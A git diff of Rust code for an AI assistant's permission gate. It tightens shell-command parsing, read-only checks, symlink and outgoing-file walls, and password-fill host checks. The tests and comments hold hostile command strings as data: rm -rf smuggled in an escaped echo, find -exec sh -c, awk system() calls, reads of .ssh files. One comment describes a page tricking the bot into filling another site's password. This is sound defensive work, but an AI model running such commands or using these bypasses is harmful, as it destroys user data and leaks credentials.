'\'' if !in_double => single = true, + '`' => { + hidden = true; + if stack.last() == Some(&In::Tick) { + stack.pop(); + } else { + stack.push(In::Tick); + } + } + '$' | '<' | '>' if next == Some('(') && (c == '$' || !in_double) => { + hidden = true; + stack.push(In::Paren); + cur.push(c); + cur.push('('); + i += 2; + continue; + } + '(' if stack.last() == Some(&In::Paren) => stack.push(In::Paren), + ')' if stack.last() == Some(&In::Paren) => { + stack.pop(); + } + ';' | '\n' | '|' | '&' if stack.is_empty() => { + close(&mut cur, &mut hidden, &mut pieces); + if (c == '|' || c == '&') && next == Some(c) { + i += 1; + } + i += 1; + continue; + } + _ => {} + } cur.push(c); i += 1; } - if sq || dq { + if single || !stack.is_empty() { return None; } - if !cur.trim().is_empty() { - parts.push(cur.trim().to_string()); - } - if parts.iter().any(|p| { let w = p.split_whitespace().next().unwrap_or(""); w == "eval" || w == "exec" || w == "source" || w == "." }) { + close(&mut cur, &mut hidden, &mut pieces); + Some(pieces) +} + +/// Split `a && b | c; d` into its commands, keeping quoted text together. +/// Returns None when the command hides other commands ($(), backticks, eval). +pub fn split_commands(cmd: &str) -> Option> { + let pieces = split_shell(cmd)?; + if pieces.iter().any(|p| p.hidden) { return None; } - Some(parts) + Some(pieces.into_iter().map(|p| p.text).collect()) +} + +/// The shell would rewrite this command's words before running it: a variable or a brace list +/// (`{a,b}`, `{1..3}`) outside single quotes can stand for any word, an option included. +/// (`HEAD@{1}` is not a list and stays as written.) So can a file name: `*`, `?` or `[` at the +/// head of a word, or in a word that begins with `-`, becomes whatever is in the folder, and a +/// file may be called `-delete` or `--pre=./x`. (`src/*.rs` can only become paths under `src/`.) +fn shell_rewrites(part: &str) -> bool { + let chars: Vec = part.chars().collect(); + let (mut single, mut double) = (false, false); + // The first character of the word being read (None between words). + let mut head: Option = None; + let mut i = 0; + while i < chars.len() { + let c = chars[i]; + if single { + single = c != '\''; + } else if c == '\\' { + head = head.or(Some('\\')); + i += 1; + } else if c == '\'' { + head = head.or(Some(c)); + single = true; + } else if c == '"' { + head = head.or(Some(c)); + double = !double; + } else if c == '$' && chars.get(i + 1).is_some_and(|n| n.is_alphanumeric() || *n == '_' || *n == '{') { + return true; + } else if double { + // (Inside double quotes only `$` is rewritten.) + } else if c.is_whitespace() { + head = None; + } else if c == '{' { + let inner: String = chars[i + 1..].iter().take_while(|x| **x != '}').collect(); + if inner.contains(',') || inner.contains("..") { + return true; + } + head = head.or(Some(c)); + } else if matches!(c, '*' | '?' | '[') { + if head.is_none() || head == Some('-') { + return true; + } + } else { + head = head.or(Some(c)); + } + i += 1; + } + false +} + +/// A looking command (READ_ONLY_COMMANDS) stays one only without the options that make it +/// write, delete or run something else: `find -delete`, `find -exec`, `sort -o`, `rg --pre`… +/// These went through without a question because only the first word was read. +/// +/// Quotes and backslashes are dropped before matching, as the shell drops them (`-del"ete"`), +/// and a command whose words the shell would rewrite asks instead of being guessed at. +fn read_only(part: &str) -> bool { + if !READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) { + return false; + } + let w: Vec = words(part).iter().map(|a| a.replace(['\'', '"', '\\'], "")).collect(); + let long = |names: &[&str]| w.iter().any(|a| names.iter().any(|n| a == n || a.strip_prefix(n).is_some_and(|r| r.starts_with('=')))); + let short = |c: char| w.iter().skip(1).any(|a| a.starts_with('-') && !a.starts_with("--") && a.contains(c)); + let changes = match w.first().map(String::as_str).unwrap_or("") { + "find" => w.iter().any(|a| matches!(a.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir" | "-delete" | "-fprint" | "-fprint0" | "-fprintf" | "-fls")), + "sort" => short('o') || long(&["--output", "--compress-program"]), + "tree" => short('o'), + "rg" => long(&["--pre", "--hostname-bin"]), + "git" => long(&["--output"]), + // `uniq in out` writes its second file. + // (`-` alone is a file too: standard input.) + "uniq" => w.iter().skip(1).filter(|a| *a == "-" || !a.starts_with('-')).count() > 1, + "file" => short('C') || long(&["--compile"]), + // The rest have no such option: nothing to hide behind a variable. + _ => return true, + }; + !changes && !shell_rewrites(part) +} + +/// A looking command whose options can make it write, delete or run something (the ones +/// `read_only` reads the options of). +fn has_changing_options(part: &str) -> bool { + READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) && matches!(words(part).first().copied().unwrap_or(""), "find" | "sort" | "tree" | "rg" | "git" | "uniq" | "file") } fn words(cmd: &str) -> Vec<&str> { @@ -312,10 +496,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci match name { "list_dir" | "search" | "read_file" => { let p = resolve(workdir, &arg_str(&v, "path")); - if is_ignored(&p) { + if is_ignored(&p) || is_ignored(&real_of(&p)) { return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display())); } - if inside(workdir, &p) || granted("read:anywhere") { + if within(workdir, &p) || granted("read:anywhere") { Decision::Allow } else { Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() } @@ -324,10 +508,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci "read_terminal" | "write_terminal" => Decision::Allow, "edit_file" => { let p = resolve(workdir, &arg_str(&v, "path")); - if is_ignored(&p) { + if is_ignored(&p) || is_ignored(&real_of(&p)) { return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display())); } - if !inside(workdir, &p) { + if !within(workdir, &p) { return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() }; } if granted("edit_file") { @@ -341,35 +525,40 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci if cmd.trim().is_empty() { return Decision::Deny("沒有指令".into()); } - let Some(parts) = split_commands(&cmd) else { - // Commands the splitter can't read ($(), backticks, eval…) ask once and remember - // by their first word: 「一律允許」 on `git` covers `git … $(…)` afterwards, so - // the same shape of command doesn't ask again (models use $(…) constantly). + let Some(pieces) = split_shell(&cmd) else { + // A quote or a $(…) that never closes: where one command ends and the next + // begins can't be told, so no grant covers it and none is offered. if let Some(d) = denied_hit(&cmd) { return Decision::Deny(format!("「{d}」這類指令一律不允許。")); } - let grant = shell_grant(&cmd); - if !writes_files(&cmd) && granted(&grant) { - return Decision::Allow; - } - return Decision::Ask { reason: format!("執行指令(含有隱藏的子指令,無法自動判斷):{cmd}"), grant }; + return Decision::Ask { reason: format!("執行指令(引號或括號沒有成對,無法自動判斷):{cmd}"), grant: String::new() }; }; // deny - for part in &parts { - if let Some(d) = denied_hit(part) { + for piece in &pieces { + if let Some(d) = denied_hit(&piece.text) { return Decision::Deny(format!("「{d}」這類指令一律不允許。")); } } // (No word-by-word path scan here: secret folders are the sandbox's job, and // scanning words as paths denied perfectly ordinary commands.) - // allow: every part is read-only or already granted - let ok = |part: &String| !writes_files(part) && (READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) || granted(&shell_grant(part))); - let unapproved: Vec<&String> = parts.iter().filter(|p| !ok(p)).collect(); + // allow: every part is read-only or already granted. A part that hides other + // commands ($(), backticks, eval…) is never read-only: it asks once and is + // remembered by its first word, so 「一律允許」 on `git commit` covers + // `git commit -m "$(…)"` afterwards (models use $(…) constantly) — but only that + // part: the grant used to let everything chained after it through as well. + // + // A looking command that may do more than look (`find … -delete`, `sort -o`, or + // one whose words can't be read) is asked each time: 「一律允許」 on its first word + // would be every `find -exec` from then on, on a word nobody thinks of as dangerous. + let each_time = |p: &Piece| has_changing_options(&p.text) && (p.hidden || !read_only(&p.text)); + let ok = |p: &Piece| !writes_files(&p.text) && ((!each_time(p) && granted(&shell_grant(&p.text))) || (!p.hidden && read_only(&p.text))); + let unapproved: Vec<&Piece> = pieces.iter().filter(|p| !ok(p)).collect(); if unapproved.is_empty() { return Decision::Allow; } - let grant = if unapproved.len() == 1 && !writes_files(unapproved[0]) { shell_grant(unapproved[0]) } else { String::new() }; - Decision::Ask { reason: format!("執行指令:{cmd}"), grant } + let grant = if unapproved.len() == 1 && !writes_files(&unapproved[0].text) && !each_time(unapproved[0]) { shell_grant(&unapproved[0].text) } else { String::new() }; + let note = if pieces.iter().any(|p| p.hidden) { "(含有隱藏的子指令,無法自動判斷)" } else { "" }; + Decision::Ask { reason: format!("執行指令{note}:{cmd}"), grant } } other => Decision::Deny(format!("沒有「{other}」這個工具")), } @@ -586,11 +775,43 @@ fn process_listing(cmd: &str) -> bool { return false; } parts.all(|p| { - let mut w = p.split_whitespace(); - matches!(w.next().unwrap_or(""), "grep" | "egrep" | "head" | "tail" | "wc" | "sort" | "uniq" | "cut" | "awk") && !p.contains('/') + if p.contains('/') { + return false; + } + match p.split_whitespace().next().unwrap_or("") { + "egrep" | "cut" => true, + "awk" => awk_only_prints(p), + // (`sort -o`, `sort --compress-program`, `uniq in out`: not filters any more.) + "grep" | "head" | "tail" | "wc" | "sort" | "uniq" => read_only(p), + _ => false, + } }) } +/// `awk [-F sep] [-v name=value] 'program'` whose program starts nothing: awk can run any +/// command itself (`system("…")`, `"cmd" | getline`, `print | "cmd"`), read a program from a +/// file (`-f`) and load code (`@include`, `@load`) — here that would be outside the sandbox. +fn awk_only_prints(part: &str) -> bool { + let Some(w) = plain_words(part) else { return false }; + let mut rest = w.iter().skip(1).map(String::as_str).peekable(); + while let Some(a) = rest.peek().copied() { + match a { + "-F" | "-v" => { + rest.next(); + if rest.next().is_none() { + return false; + } + } + _ if a.starts_with("-F") || a.starts_with("-v") => { + rest.next(); + } + _ => break, + } + } + let (Some(program), None) = (rest.next(), rest.next()) else { return false }; + !program.starts_with('-') && !["system", "getline", "|", "@", "fflush", "close"].iter().any(|k| program.contains(k)) +} + /// A command's words the way the shell reads them, or None when it is more than one plain /// program call: anything outside quotes that joins, redirects, pipes, backgrounds or /// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution @@ -981,7 +1202,7 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) -> return Decision::Allow; } let p = resolve(root, &arg_str(&v, "path")); - if !inside(root, &p) { + if !within(root, &p) { return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display())); } Decision::Allow @@ -1015,6 +1236,39 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) -> } } +/// A file on its way out of a computer — into the chat (send_file) or onto the person's screen +/// (open_for_person) — is read on the way, so it meets read_file's walls. It used to meet none: +/// any path on this computer went out without a question, and from the bot's sealed folder a +/// `..` reached the rest of the home folder. +/// +/// The real file is what counts, not how the path is spelled: a link inside the folder that +/// points outside it is outside. +pub fn decide_file_out(target: &Target, path: &str, grants: &[String]) -> Decision { + let (base, sealed) = match &target.place { + Place::Local { workdir } => (workdir.as_path(), false), + Place::Sealed { root } => (root.as_path(), true), + // The box has its own wall (box_path); another computer answers for its own files. + _ => return Decision::Allow, + }; + let named = resolve(base, path); + let real = std::fs::canonicalize(&named).unwrap_or_else(|_| named.clone()); + if is_ignored(&named) || is_ignored(&real) { + return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", named.display())); + } + let home = std::fs::canonicalize(base).unwrap_or_else(|_| base.to_path_buf()); + // (A path that names nothing yet has no real form: it is judged as spelled.) + let within = inside(&home, &real) || (real == named && inside(base, &named)); + if within { + Decision::Allow + } else if sealed { + Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, named.display())) + } else if grants.iter().any(|g| g == "read:anywhere") { + Decision::Allow + } else { + Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", named.display()), grant: "read:anywhere".into() } + } +} + /// Run a remote command and give back its output (no background hand-off). fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result { use std::io::Write; @@ -1320,6 +1574,11 @@ fn search(pattern: &str, root: &Path, files_only: bool) -> Result>(), vec![("npm install", false), ("rm -rf x", false), (r#"git commit -m "$(cat a; cat b)""#, true), ("head", false)]); + assert!(split_shell("echo $(ls").is_none()); + } + + #[test] + fn looking_commands_that_do_more_than_look_ask() { + let w = wd(); + let ask = |cmd: &str, grants: &[String]| decide("shell", &serde_json::json!({"command": cmd}).to_string(), &w, grants); + // The first word says "look"; the options delete, write, or run something else. + for cmd in [ + "find . -name '*.docx' -delete", + "find . -maxdepth 0 -exec sh -c 'id' \\;", + "find . -execdir rm {} +", + "find . -ok rm {} \\;", + "find . -fprint out.txt", + "find . -del\"ete\"", + "find . -de\\lete", + "find . -${nothing}delete", + "find . -{delete,print}", + "sort -o notes.txt notes.txt", + "sort -ro notes.txt notes.txt", + "sort --output=notes.txt notes.txt", + "sort --compress-program=sh notes.txt", + "rg --pre ./run.sh pattern", + "rg --pre=./run.sh pattern", + "git diff --output=notes.txt", + "git log --output notes.txt", + "tree -o notes.txt", + "uniq a.txt b.txt", + "ls && find . -delete", + ] { + assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking"); + } + // Plain looking still doesn't ask. + for cmd in [ + "find . -name '*.rs' -type f", + "find . -newer Cargo.toml -print | sort | uniq -c | head", + "rg -n 'fn main$' src", + "git show HEAD@{1} --stat", + "git log --oneline -5", + "sort -rn counts.txt", + "echo $HOME && ls $HOME", + "tree -L 2", + ] { + assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}"); + } + // A file can be named like an option: a pattern that may become one asks; one that + // can only become paths in a folder doesn't. + for cmd in ["find . *", "rg pattern --pr*", "sort [a-z]*", "find . -name ?delete", "sort -?"] { + assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking"); + } + for cmd in ["rg -n main src/*.rs", "find . -name \"*.rs\"", "ls *", "cat *.md | head", "sort notes/*.txt"] { + assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}"); + } + // 「一律允許」 isn't offered for these, and one on the first word doesn't cover them. + let find = vec!["shell:find".to_string(), "shell:sort".to_string()]; + for cmd in ["find . -delete", "sort -o notes.txt notes.txt", "find . $(echo -delete)", "find . -name \"$(cat name.txt)\""] { + assert!(matches!(ask(cmd, &find), Decision::Ask { ref grant, .. } if grant.is_empty()), "{cmd}"); + } + assert_eq!(ask("find . -name '*.rs'", &find), Decision::Allow); + // The reported one: an escaped quote hid two more commands inside "one echo". + assert!(matches!(ask(r#"echo \"; rm -rf Documents; echo \""#, &[]), Decision::Ask { .. })); + // 「一律允許」 on one command covers that command, not what is chained after it. + let npm = vec!["shell:npm install".to_string()]; + assert_eq!(ask("npm install && ls", &npm), Decision::Allow); + assert!(matches!(ask("npm install; rm -rf x; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant.is_empty())); + assert!(matches!(ask("npm install; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant == "shell:echo")); + let git = vec!["shell:git commit".to_string()]; + assert_eq!(ask(r#"git status && git commit -m "$(cat msg.txt)""#, &git), Decision::Allow); + // The always-denied list is read in every part, hidden commands or not. + assert!(matches!(ask("echo $(true); sudo rm x", &["shell:echo".to_string()]), Decision::Deny(_))); + // Quotes that never close: asked every time, no grant offered or honoured. + assert!(matches!(ask("npm install\nrm -rf x\necho '", &npm), Decision::Ask { ref grant, .. } if grant.is_empty())); + } + + /// A link in the folder that points out of it is outside it: for reading, for editing, and + /// from the bot's sealed folder. + #[cfg(unix)] + #[test] + fn a_link_out_of_the_folder_is_outside_it() { + let w = wd().join("link-out"); + let _ = std::fs::remove_dir_all(&w); + let (work, elsewhere) = (w.join("work"), w.join("elsewhere")); + std::fs::create_dir_all(work.join("sub")).unwrap(); + std::fs::create_dir_all(&elsewhere).unwrap(); + std::fs::write(elsewhere.join("taxes.txt"), "x").unwrap(); + std::fs::write(work.join("sub/notes.txt"), "x").unwrap(); + std::os::unix::fs::symlink(&elsewhere, work.join("out")).unwrap(); + std::os::unix::fs::symlink(elsewhere.join("taxes.txt"), work.join("taxes")).unwrap(); + std::os::unix::fs::symlink(elsewhere.join("not-yet.txt"), work.join("new")).unwrap(); + std::os::unix::fs::symlink(work.join("sub"), work.join("same")).unwrap(); + let args = |p: &str| json!({"path": p}).to_string(); + let edits = ["edit_file".to_string()]; + for p in ["out/taxes.txt", "taxes", "out", "new", "out/made-here.txt"] { + assert!(matches!(decide("read_file", &args(p), &work, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"), "read {p}"); + assert!(matches!(decide("edit_file", &args(p), &work, &edits), Decision::Ask { ref grant, .. } if grant.is_empty()), "edit {p}: asked every time"); + let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: work.clone() } }; + assert!(matches!(decide_on("read_file", &args(p), &sealed, &[]), Decision::Deny(_)), "sealed read {p}"); + assert!(matches!(decide_on("edit_file", &args(p), &sealed, &edits), Decision::Deny(_)), "sealed edit {p}"); + } + assert!(matches!(decide("search", &args("out"), &work, &[]), Decision::Ask { .. })); + // What stays in the folder is as before: its files, a link to its own inside, a new file. + for p in ["sub/notes.txt", "same/notes.txt", "sub/new.txt", "brand/new/file.txt", ""] { + assert_eq!(decide("read_file", &args(p), &work, &[]), Decision::Allow, "read {p}"); + assert_eq!(decide("edit_file", &args(p), &work, &edits), Decision::Allow, "edit {p}"); + } + // A private file is private by where it really is, whatever the link is called. + std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap(); + std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap(); + std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), work.join("readme.txt")).unwrap(); + assert!(matches!(decide("read_file", &args("readme.txt"), &work, &["read:anywhere".to_string()]), Decision::Deny(_))); + let _ = std::fs::remove_dir_all(&w); + } + + #[test] + fn a_file_on_its_way_out_meets_the_walls_of_reading_it() { + let w = wd().join("out-gate"); + let _ = std::fs::remove_dir_all(&w); + let (inside_dir, elsewhere) = (w.join("work"), w.join("elsewhere")); + std::fs::create_dir_all(&inside_dir).unwrap(); + std::fs::create_dir_all(&elsewhere).unwrap(); + std::fs::write(inside_dir.join("report.pdf"), "x").unwrap(); + std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap(); + let local = Target { name: "這台電腦".into(), place: Place::Local { workdir: inside_dir.clone() } }; + let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: inside_dir.clone() } }; + let outside = elsewhere.join("taxes.pdf").display().to_string(); + // Its own folder: nothing to ask, on either kind of computer; a file not there yet too. + for t in [&local, &sealed] { + assert_eq!(decide_file_out(t, "report.pdf", &[]), Decision::Allow); + assert_eq!(decide_file_out(t, "not-yet.pdf", &[]), Decision::Allow); + } + // The person's computer: outside the work folder asks, like read_file, and remembers. + assert!(matches!(decide_file_out(&local, &outside, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere")); + assert!(matches!(decide_file_out(&local, "../elsewhere/taxes.pdf", &[]), Decision::Ask { .. })); + assert_eq!(decide_file_out(&local, &outside, &["read:anywhere".to_string()]), Decision::Allow); + // The bot's sealed folder: the rest of the computer isn't there, however it is spelled. + assert!(matches!(decide_file_out(&sealed, &outside, &["read:anywhere".to_string()]), Decision::Deny(_))); + assert!(matches!(decide_file_out(&sealed, "../elsewhere/taxes.pdf", &[]), Decision::Deny(_))); + // Secrets stay, granted or not. + assert!(matches!(decide_file_out(&local, ".env", &["read:anywhere".to_string()]), Decision::Deny(_))); + // A link inside the folder that points out of it is outside. + #[cfg(unix)] + { + std::os::unix::fs::symlink(&elsewhere, inside_dir.join("way-out")).unwrap(); + assert!(matches!(decide_file_out(&sealed, "way-out/taxes.pdf", &[]), Decision::Deny(_))); + assert!(matches!(decide_file_out(&local, "way-out/taxes.pdf", &[]), Decision::Ask { .. })); + std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap(); + std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap(); + std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), inside_dir.join("notes.txt")).unwrap(); + assert!(matches!(decide_file_out(&local, "notes.txt", &["read:anywhere".to_string()]), Decision::Deny(_))); + } + // The box and other computers keep their own checks. + let on_box = Target { name: "Bot 的電腦".into(), place: Place::Box { dir: "/home/bot/bot-1".into() } }; + assert_eq!(decide_file_out(&on_box, "/etc/hosts", &[]), Decision::Allow); + let _ = std::fs::remove_dir_all(&w); } #[test] @@ -1617,6 +2039,16 @@ mod tests { assert!(process_listing("ps aux")); assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep")); assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5")); + assert!(process_listing("ps aux | awk -F: -v n=2 'NR == n {print $2, $11}' | sort -rn | uniq -c")); + // awk can start any program itself, and these run outside the sandbox. + assert!(!process_listing(r#"ps aux | awk 'BEGIN { system("rm -rf Documents") }'"#)); + assert!(!process_listing(r#"ps aux | awk '{ "id" | getline x; print x }'"#)); + assert!(!process_listing("ps aux | awk -f steal.awk")); + assert!(!process_listing("ps aux | awk '{print}' notes.txt")); + assert!(!process_listing("ps aux | awk '@load \"x\"; {print}'")); + assert!(!process_listing("ps aux | sort -o listing.txt")); + assert!(!process_listing("ps aux | sort --compress-program=sh")); + assert!(!process_listing("ps aux | uniq - listing.txt")); assert!(process_listing("top -l 1 -n 0")); assert!(!process_listing("ps aux > /tmp/x")); assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa")); diff --git a/src/triggers.rs b/src/triggers.rs index a962a69..4b48f95 100644 --- a/src/triggers.rs +++ b/src/triggers.rs @@ -315,20 +315,29 @@ pub fn github_runs(runs: &Value, seen: &mut HashSet, first: bool) -> Vec`. pub fn status_changes(prev: &mut HashMap, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> { let mut out = vec![]; - // An empty prev is always the baseline: a poll that follows a failed first round must - // record, not fire every existing item as "created" (history replay). - let baseline = first || prev.is_empty(); + // Only the first look that reached the service is the baseline (the caller keeps `first` + // until then). An empty prev is not one: a watch set up while nothing was open swallowed + // the first issue, incident or mail that came. for (id, status, title) in items { match prev.get(id) { - None if !baseline => out.push(("created".to_string(), title.clone())), + None if !first => out.push(("created".to_string(), title.clone())), Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))), _ => {} } prev.insert(id.clone(), status.clone()); } + // A watcher that runs for months stays bounded: past the cap, what is on this list is kept + // and the rest is let go. + if prev.len() > MAX_REMEMBERED { + let here: HashSet<&String> = items.iter().map(|(id, _, _)| id).collect(); + prev.retain(|id, _| here.contains(id)); + } out } +/// Ids a watcher remembers before it lets the old ones go (estimated). +const MAX_REMEMBERED: usize = 4096; + /// Calendar events that start now (within the last poll) and haven't fired: (key, description). pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet) -> Vec { let mut out = vec![]; @@ -496,6 +505,7 @@ fn fire_router() -> fn(u64, String) { fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) { let mut first = true; + let mut runs_first = true; let mut cursor: u64 = 0; let mut seen: HashSet = HashSet::new(); let mut prev: HashMap = HashMap::new(); @@ -528,9 +538,12 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: } if wanted(events, "ci_passed") || wanted(events, "ci_failed") { if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) { - for e in github_runs(&v, &mut seen, first).into_iter().filter(ok_ev) { + for e in github_runs(&v, &mut seen, runs_first).into_iter().filter(ok_ev) { fire(format!("GitHub {repo}:{}", e.text)); } + // (Its own first look: the events answering while this failed used to + // make the next list of runs fire whole.) + runs_first = false; } } GITHUB_POLL_SECS @@ -568,7 +581,9 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: } note(routine_id, "已連上 Slack,等待訊息"); } - Ok(v) => note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))), + // (Not reached: a refusal that counted as the first look made the next + // answer's thirty messages all new.) + Ok(v) => { reached = false; note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))) }, Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) }, } SLACK_POLL_SECS @@ -702,16 +717,13 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: // These sets grow with every event seen: a watcher that runs for months must stay // bounded (ids grow, so keep the newest range; the react/calendar sets are only // short-term de-duplication, so a cap that clears is harmless). - if seen.len() > 4096 { + if seen.len() > MAX_REMEMBERED { let m = *seen.iter().max().unwrap_or(&0); seen.retain(|id| *id + 100_000 >= m); } - if prev.len() > 4096 { - // status_changes treats an empty set as a quiet baseline (records, fires nothing), - // so clearing is safe and keeps the map from growing with every issue ever seen. - prev.clear(); - } - if slack_reacted.len() > 4096 { + // (prev is kept bounded by status_changes: clearing it here would make everything on + // the next list look new.) + if slack_reacted.len() > MAX_REMEMBERED { slack_reacted.clear(); } if !sleep_alive(gen, wait) { @@ -828,6 +840,20 @@ mod tests { assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty()); let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false); assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]); + // A watch set up while nothing was open: the first thing that comes fires. + let mut prev = HashMap::new(); + assert!(status_changes(&mut prev, &[], true).is_empty()); + assert_eq!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], false), vec![("created".to_string(), "A".to_string())]); + // Until a look has reached the service, what is there is recorded, not fired. + let mut prev = HashMap::new(); + assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], true).is_empty()); + assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty()); + // Past the cap the map keeps what is on the list, and nothing on it fires again. + let mut prev: HashMap = (0..MAX_REMEMBERED + 1).map(|i| (format!("old{i}"), "x".to_string())).collect(); + prev.insert("a".into(), "open".into()); + assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty()); + assert_eq!(prev.len(), 1); + assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty()); } #[test] diff --git a/src/vault.rs b/src/vault.rs index ea3123d..4d9bc58 100644 --- a/src/vault.rs +++ b/src/vault.rs @@ -345,14 +345,40 @@ impl LoginPlan { } pub fn plan_login(args: &str) -> Result { - let v = crate::tools::args_of(args); - let tab = current_host()?; - let host = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty()).unwrap_or(tab); + plan_login_on(¤t_host()?, &crate::tools::args_of(args)) +} + +/// The plan for the page that is open (`tab`, its host). +/// +/// The password goes into the open tab, so the open tab is the site: what the person is asked +/// about, what 「一律允許」 is remembered for, and what the saved login is checked against. +/// `site` only picks which saved login to use. It used to stand in for all three — a page could +/// talk the bot into `site: "google.com"` and, where the person had always-allowed google.com, +/// have Google's password typed into itself without a question. +pub(crate) fn plan_login_on(tab: &str, v: &Value) -> Result { + if tab.is_empty() { + return Err("目前的分頁沒有開著網站。先打開要登入的那一頁,再填入。".into()); + } + let host = tab.to_string(); if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) { let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?; let matched = item.fills_on(&host); return Ok(LoginPlan { host, item: Some(item), matched, other: None }); } + let site = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty()); + let same_site = |s: &str| crate::vault_store::registrable_domain(s) == crate::vault_store::registrable_domain(tab); + if let Some(site) = site.filter(|s| !same_site(s)) { + // A login saved for another site: the person sees the lookalike warning (matched is + // false when it isn't saved for this page), and no grant is kept. + return match crate::vault_store::logins_for(&site).into_iter().next() { + Some(item) => { + let matched = item.fills_on(&host); + Ok(LoginPlan { host, item: Some(item), matched, other: None }) + } + // Keychain and 1Password logins carry no list of sites to warn with: only on their own site. + None => Err(format!("目前的分頁是 {host},不是 {site}。先打開 {site} 的登入頁,再填入(密碼只會填進它所屬的網站)。")), + }; + } if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() { return Ok(LoginPlan { host, item: Some(item), matched: true, other: None }); } diff --git a/src/vault_store.rs b/src/vault_store.rs index 8da6297..b99640a 100644 --- a/src/vault_store.rs +++ b/src/vault_store.rs @@ -163,7 +163,9 @@ impl Item { let h = h.strip_prefix("www.").unwrap_or(&h); self.sites.iter().any(|s| { let d = registrable_domain(&host_of(s)); - !d.is_empty() && (h == d || h.ends_with(&format!(".{d}"))) + // (A site that is itself a suffix many owners share — 「gov.tw」, 「github.io」 — + // is that one address, never everything under it.) + !d.is_empty() && (h == d || (!is_public_suffix(&d) && h.ends_with(&format!(".{d}")))) }) } } @@ -197,25 +199,58 @@ pub fn host_of(s: &str) -> String { h.strip_prefix("www.").map(String::from).unwrap_or(h) } -/// Second-level suffixes where the registrable domain has three labels. -const TWO_PART_SUFFIXES: &[&str] = &[ - "com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk", - "com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn", "github.io", "vercel.app", "netlify.app", +/// Suffixes of more than one label under which different owners have their own names: the +/// registrable domain is one label more. Countries' second levels, and the hosting services +/// where anyone gets a name next to anyone 